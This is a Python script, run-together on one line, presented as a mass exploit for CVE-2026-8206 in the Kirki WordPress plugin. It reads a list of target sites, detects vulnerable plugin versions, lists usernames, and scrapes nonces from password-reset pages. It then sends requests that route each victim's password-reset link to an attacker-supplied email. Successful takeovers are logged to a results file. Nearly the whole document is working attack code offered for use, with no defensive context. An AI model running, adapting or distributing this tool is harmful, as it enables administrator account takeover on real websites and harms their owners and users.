# -*- coding: utf-8 -*- from __future__ import print_function import re import sys import os import requests from collections import defaultdict from concurrent.futures import ThreadPoolExecutor, as_completed from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) ATTACKER_EMAIL = "attacker@example.com" # PUT UR EMAIL HERE DEFAULT_THREADS = 15 HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', } GREEN = '\033[92m' RED = '\033[91m' YELLOW = '\033[93m' CYAN = '\033[96m' RESET = '\033[0m' BANNER = r""" {0}╔══════════════════════════════════════════════════════════╗ ║ CVE-2026-8206 - Kirki WordPress Plugin Exploit ║ ║ Mass Auto-Detect Nonce & Username ║ ╚══════════════════════════════════════════════════════════╝{1} """.format(CYAN, RESET) def normalize_url(url): url = url.strip() if not url.startswith(('http://', 'https://')): url = 'https://' + url return url.rstrip('/') def version_tuple(v): try: return tuple(map(int, v.split('.'))) except: return (0,0,0) def detect_kirki(target): paths = ['kirki', 'kirki-test'] for plugin_path in paths: readme_url = target + '/wp-content/plugins/' + plugin_path + '/readme.txt' try: r = requests.get(readme_url, headers=HEADERS, timeout=10, verify=False) if r.status_code == 200: match = re.search(r'Stable tag:\s*([0-9.]+)', r.text) if match: version = match.group(1) if version_tuple(version) <= (6, 0, 6): return True, version else: return False, version except: pass css_url = target + '/wp-content/plugins/' + plugin_path + '/assets/css/kirki.min.css' try: r = requests.get(css_url, headers=HEADERS, timeout=10, verify=False, allow_redirects=True) if r.status_code == 200: final_url = r.url match = re.search(r'ver=([0-9.]+)', final_url) if match: version = match.group(1) if version_tuple(version) <= (6, 0, 6): return True, version else: return False, version except: pass return False, None def extract_nonces_from_html(html): nonces = set() patterns = [ r'X-WP-ELEMENT-NONCE["\']?\s*:\s*["\']([a-f0-9]{8,})', r'nonce["\']?\s*:\s*["\']([a-f0-9]{8,})', r'data-nonce=["\']([a-f0-9]{8,})', r'kirki_nonce["\']?\s*:\s*["\']([a-f0-9]+)', r'name=["\']_wpnonce["\']\s+value=["\']([a-f0-9]+)', r'var\s+nonce\s*=\s*["\']([a-f0-9]+)', r'kirkiCompLib\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', r'window\.wp_kirki\s*=\s*\{[^}]*nonce\s*:\s*"([a-f0-9]+)"', r'wp_kirki\s*=\s*\{[^}]*nonce\s*:\s*"([a-f0-9]+)"', r'\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', r']+name=["\']_wpnonce["\'][^>]+value=["\']([a-f0-9]+)["\']', r']+value=["\']([a-f0-9]+)["\'][^>]+name=["\']_wpnonce["\']', r']+data-nonce=["\']([a-f0-9]+)["\']', r']+name=["\']_wpnonce["\'][^>]+content=["\']([a-f0-9]+)["\']', r']*>.*?nonce\s*[:=]\s*["\']([a-f0-9]+)["\']', r'ajax_nonce["\']?\s*:\s*["\']([a-f0-9]+)', r'security["\']?\s*:\s*["\']([a-f0-9]+)', r'wpApiSettings\s*=\s*\{[^}]*nonce\s*:\s*["\']([a-f0-9]+)', r'wpRestNonce["\']?\s*:\s*["\']([a-f0-9]+)', ] for pat in patterns: matches = re.findall(pat, html, re.IGNORECASE | re.DOTALL) for m in matches: if isinstance(m, tuple): nonce_val = m[0] else: nonce_val = m if len(nonce_val) >= 8: nonces.add(nonce_val) return nonces def get_all_nonces(target): nonce_sources = [] urls_to_try = [ target + '/', target + '/wp-login.php?action=lostpassword', target + '/forgot-password', target + '/reset-password', target + '/account/lost-password/', target + '/my-account/lost-password/', target + '/lost-password', target + '/members/password-reset/', target + '/login/lost-password/', target + '/?lostpassword=true', target + '/wp-login.php?action=lostpassword&redirect_to=' + target, ] for url in urls_to_try: try: r = requests.get(url, headers=HEADERS, timeout=10, verify=False) if r.status_code == 200: nonces = extract_nonces_from_html(r.text) for n in nonces: nonce_sources.append((n, url)) except: continue seen = set() unique = [] for n, src in nonce_sources: if n not in seen: seen.add(n) unique.append((n, src)) return unique def exploit(target, username, attacker_email, nonce): payload = { 'username': username, 'email': attacker_email, 'emailSubject': 'Password Reset', 'emailBody': '[{"type":"text","value":"Click this link to reset your password:\n"},{"type":"chip","value":"reset_link"}]' } headers = HEADERS.copy() headers['X-WP-ELEMENT-NONCE'] = nonce headers['Content-Type'] = 'application/x-www-form-urlencoded' headers['Referer'] = target + '/' endpoint = target + '/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password' try: r = requests.post(endpoint, headers=headers, data=payload, timeout=15, verify=False) if r.status_code == 200 and 'Email sent' in r.text: return True if 'Not authorized' in r.text or r.status_code == 400: payload['_wpnonce'] = nonce payload['nonce'] = nonce r2 = requests.post(endpoint, headers=headers, data=payload, timeout=15, verify=False) if r2.status_code == 200 and 'Email sent' in r2.text: return True return False except: return False def get_usernames(target): try: r = requests.get(target + '/wp-json/wp/v2/users', headers=HEADERS, timeout=10, verify=False) if r.status_code == 200: users = r.json() if users and 'slug' in users[0]: return [user['slug'] for user in users] except: pass return ['admin'] def worker(target, attacker_email): target = normalize_url(target) print("\n{}[+] Processing: {}{}".format(YELLOW, target, RESET)) is_vuln, version = detect_kirki(target) if not is_vuln: if version: print(" {}[-] Kirki version {} (not vulnerable), skipping.{}".format(RED, version, RESET)) else: print(" {}[-] Kirki plugin not detected, skipping.{}".format(RED, RESET)) return else: print(" {}[✓] Vulnerable Kirki version {} detected.{}".format(GREEN, version, RESET)) usernames = get_usernames(target) username = usernames[0] print(" {}[*] Username: {}{}".format(CYAN, username, RESET)) nonce_list = get_all_nonces(target) if not nonce_list: print(" {}[-] No nonces found, skipping.{}".format(RED, target, RESET)) return grouped = defaultdict(list) for n, src in nonce_list: grouped[src].append(n) print(" {}[*] Total unique nonces: {}{}".format(CYAN, len(nonce_list), RESET)) for src, nonces in grouped.items(): print(" nonce from {} => {}".format(src, len(nonces))) for nonce, src in nonce_list: sys.stdout.write(" {}[*] Testing nonce {} ...{}".format(YELLOW, nonce, RESET)) sys.stdout.flush() if exploit(target, username, attacker_email, nonce): print(" {}VALID{}".format(GREEN, RESET)) print(" {}[VALID] {} | {} (nonce: {}){}{}".format(GREEN, target, username, nonce, RESET)) with open('res.txt', 'a') as f: f.write("{}|{}|{}|reset_link_sent_to_attacker_email\n".format(target, username, attacker_email)) return else: print(" {}FAILED{}".format(RED, RESET)) print(" {}[-] No valid nonce for {}{}".format(RED, target, RESET)) def main(): print(BANNER) if len(sys.argv) < 2: print("{}[ERROR] Missing target file!{}".format(RED, RESET)) print("\nUsage: {} [threads]".format(sys.argv[0])) print("Example: {} list.txt 20".format(sys.argv[0])) print("Threads default: {}\n".format(DEFAULT_THREADS)) sys.exit(1) target_file = sys.argv[1] if not os.path.isfile(target_file): print("{}[ERROR] File '{}' not found!{}".format(RED, target_file, RESET)) sys.exit(1) threads = DEFAULT_THREADS if len(sys.argv) > 2: try: threads = int(sys.argv[2]) if threads <= 0: print("{}[ERROR] Threads must be a positive integer!{}".format(RED, RESET)) sys.exit(1) except ValueError: print("{}[ERROR] Invalid threads value: '{}' (must be a number){}".format(RED, sys.argv[2], RESET)) sys.exit(1) try: with open(target_file, 'r') as f: targets = [line.strip() for line in f if line.strip()] except IOError: print("{}[ERROR] Cannot read file {}!{}".format(RED, target_file, RESET)) sys.exit(1) if not targets: print("{}[ERROR] No targets found in file!{}".format(RED, RESET)) sys.exit(1) print("{}[INFO] Targets: {}, Threads: {}, Email: {}{}".format(YELLOW, len(targets), threads, ATTACKER_EMAIL, RESET)) open('res.txt', 'w').close() with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(worker, t, ATTACKER_EMAIL): t for t in targets} for future in as_completed(futures): try: future.result() except Exception as e: target = futures[future] print("{}[ERROR] {} -> {}{}".format(RED, target, str(e), RESET)) print("\n{}[DONE] Results saved to res.txt{}".format(GREEN, RESET)) if __name__ == '__main__': main()